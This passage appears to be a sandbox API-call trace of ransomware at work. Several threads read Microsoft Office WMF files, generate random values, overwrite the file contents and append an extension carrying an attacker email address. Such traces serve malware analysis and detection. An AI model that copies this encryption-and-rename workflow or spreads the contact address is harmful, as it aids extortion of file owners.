FileInformation=0x42ef778, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.694] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0061.694] FlushFileBuffers (hFile=0x1250) returned 1 [0062.216] CloseHandle (hObject=0x1250) Thread: id = 1072 os_tid = 0x8f4 [0057.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf")) returned 0x20 [0061.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF", dwFileAttributes=0x20) returned 1 [0061.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1254 [0061.694] GetFileSizeEx (in: hFile=0x1254, lpFileSize=0x511ff0c | out: lpFileSize=0x511ff0c*=2862) returned 1 [0061.695] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0xb2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.695] ReadFile (in: hFile=0x1254, lpBuffer=0x511fe90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x511fe8c, lpOverlapped=0x0 | out: lpBuffer=0x511fe90*, lpNumberOfBytesRead=0x511fe8c*=0x4, lpOverlapped=0x0) returned 1 [0061.696] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.696] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.696] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.696] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0061.696] NtQuerySystemTime (in: CurrentTime=0x511fe6c | out: CurrentTime=0x511fe6c*=132174898256748000) returned 0x0 [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x5376f39e [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0xd03ed29 [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x2df89c1d [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x488b0007 [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x5b065f2b [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x4fec0d8f [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x315efa1b [0061.696] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0xdd1ba9 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x2b448778 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x63d0cb99 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0xf44c9e0 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x791d09ec [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x35d90bba [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0xd4be5ed [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x2a56be1f [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x12d1d6ad [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x39a0602f [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x71fcafab [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x26a34367 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x13e5977f [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x68e1c5d7 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x655390df [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x39aad9c8 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x6c90af17 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0xe0961e4 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x3e1ee631 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x1f09d1aa [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x26c12dc2 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x3dc35f38 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x540f0411 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0xc1b4317 [0061.697] RtlRandomEx (in: Seed=0x511fe78 | out: Seed=0x511fe78) returned 0x47cdb816 [0061.709] ReadFile (in: hFile=0x1254, lpBuffer=0x194d0048, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x511fe68, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0x511fe68*=0xb2e, lpOverlapped=0x0) returned 1 [0061.709] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.709] WriteFile (in: hFile=0x1254, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0xb2e, lpNumberOfBytesWritten=0x511fe64, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0x511fe64*=0xb2e, lpOverlapped=0x0) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.713] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0061.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0061.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0061.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0061.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0061.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb10 [0061.714] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.714] WriteFile (in: hFile=0x1254, lpBuffer=0x12d7c968*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x511fecc, lpOverlapped=0x0 | out: lpBuffer=0x12d7c968*, lpNumberOfBytesWritten=0x511fecc*=0x109, lpOverlapped=0x0) returned 1 [0061.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c968) returned 1 [0061.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0061.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0061.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0061.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0061.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0061.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d40e0 [0061.716] wcscpy (in: _Dest=0x4d40e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" [0061.716] wcscat (in: _Dest=0x4d40e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.mailto[2Hamlampampom@cock.li].cd46d" [0061.716] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x511fe84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de000 [0061.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0061.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0061.717] NtQueryInformationFile (in: FileHandle=0x1254, IoStatusBlock=0x511fe90, FileInformation=0x511fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x511fe90, FileInformation=0x511fe68) returned 0x0 [0061.717] NtSetInformationFile (FileHandle=0x1254, IoStatusBlock=0x511fe90, FileInformation=0x511fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0061.718] FlushFileBuffers (hFile=0x1254) returned 1 [0062.216] CloseHandle (hObject=0x1254) Thread: id = 1073 os_tid = 0xbe0 [0057.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf")) returned 0x20 [0061.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF", dwFileAttributes=0x20) returned 1 [0061.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1258 [0061.719] GetFileSizeEx (in: hFile=0x1258, lpFileSize=0x312fb34 | out: lpFileSize=0x312fb34*=3166) returned 1 [0061.719] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0xc5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.719] ReadFile (in: hFile=0x1258, lpBuffer=0x312fab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x312fab4, lpOverlapped=0x0 | out: lpBuffer=0x312fab8*, lpNumberOfBytesRead=0x312fab4*=0x4, lpOverlapped=0x0) returned 1 [0061.720] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0061.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0061.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.721] NtQuerySystemTime (in: CurrentTime=0x312fa94 | out: CurrentTime=0x312fa94*=132174898257060000) returned 0x0 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0xa6c5422 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x42bb7849 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x1c2e1847 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x21aaafaa [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x6017792 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x73890e2d [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x4b2e2bc1 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x1f5f1142 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x979aa05 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x15b952e0 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0xda1976d [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x35af65aa [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x77796e20 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x5f5665a9 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x2407a60c [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x17c3229 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x15ce9650 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x73002c99 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x1fa29dd6 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x6ef9c009 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x7c2f1e98 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x74171078 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x4e6320c6 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x12fcaf6d [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x1727cfe4 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x69fcdcf1 [0061.721] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x167be2ed [0061.722] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x61f1489a [0061.722] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x58d769da [0061.722] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x77e47e4a [0061.722] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x49b60ce3 [0061.722] RtlRandomEx (in: Seed=0x312faa0 | out: Seed=0x312faa0) returned 0x642cb723 [0061.733] ReadFile (in: hFile=0x1258, lpBuffer=0x194d0048, nNumberOfBytesToRead=0xc5e, lpNumberOfBytesRead=0x312fa90, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0x312fa90*=0xc5e, lpOverlapped=0x0) returned 1 [0061.733] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.733] WriteFile (in: hFile=0x1258, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0xc5e, lpNumberOfBytesWritten=0x312fa8c, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0x312fa8c*=0xc5e, lpOverlapped=0x0) returned 1 [0061.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0061.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0061.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0061.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0061.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0061.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb10 [0061.735] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.735] WriteFile (in: hFile=0x1258, lpBuffer=0x12d7c968*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x312faf4, lpOverlapped=0x0 | out: lpBuffer=0x12d7c968*, lpNumberOfBytesWritten=0x312faf4*=0x109, lpOverlapped=0x0) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c968) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0061.737] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d40e0 [0061.737] wcscpy (in: _Dest=0x4d40e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" [0061.737] wcscat (in: _Dest=0x4d40e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.mailto[2Hamlampampom@cock.li].cd46d" [0061.737] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x312faac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.737] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de000 [0064.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0064.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.357] NtQueryInformationFile (in: FileHandle=0x1258, IoStatusBlock=0x312fab8, FileInformation=0x312fa90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x312fab8, FileInformation=0x312fa90) returned 0x0 [0064.357] NtSetInformationFile (FileHandle=0x1258, IoStatusBlock=0x312fab8, FileInformation=0x312fa90, Length=0x28, FileInformationClass=0x4) Thread: id = 1074 os_tid = 0x4a4 [0057.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf")) returned 0x20 [0065.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF", dwFileAttributes=0x20) Thread: id = 1075 os_tid = 0x82c [0057.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf")) Thread: id = 1076 os_tid = 0x8a4 [0057.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf")) Thread: id = 1077 os_tid = 0x890 [0057.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf")) Thread: id = 1078 os_tid = 0xb38 [0057.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf")) Thread: id = 1079 os_tid = 0xb3c [0057.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf")) Thread: id = 1080 os_tid = 0xb40 [0057.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf")) Thread: id = 1081 os_tid = 0xb44 [0057.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf")) Thread: id = 1082 os_tid = 0xb4c [0057.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf")) Thread: id = 1083 os_tid = 0xb60 [0057.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf")) Thread: id = 1084 os_tid = 0xb64 [0057.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf")) Thread: id = 1085 os_tid = 0xb68 [0057.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf")) Thread: id = 1086 os_tid = 0xb6c [0057.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf")) Thread: id = 1087 os_tid = 0xb74 [0057.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf")) Thread: id = 1088 os_tid = 0xb78 [0057.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf")) Thread: id = 1089 os_tid = 0xb7c [0057.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf")) Thread: id = 1090 os_tid = 0xb80 [0057.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf")) Thread: id = 1091 os_tid = 0xb9c [0057.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf")) Thread: id = 1092 os_tid = 0xba4 [0057.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf")) Thread: id = 1093 os_tid = 0x1010 [0057.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf")) returned 0x20 [0059.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF", dwFileAttributes=0x20) returned 1 [0059.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3dc [0059.385] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x19e1ff34 | out: lpFileSize=0x19e1ff34*=2266) returned 1 [0059.385] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x8d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.385] ReadFile (in: hFile=0x3dc, lpBuffer=0x19e1feb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19e1feb4, lpOverlapped=0x0 | out: lpBuffer=0x19e1feb8*, lpNumberOfBytesRead=0x19e1feb4*=0x4, lpOverlapped=0x0) returned 1 [0059.387] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf410 [0059.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf438 [0059.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf460 [0059.387] NtQuerySystemTime (in: CurrentTime=0x19e1fe94 | out: 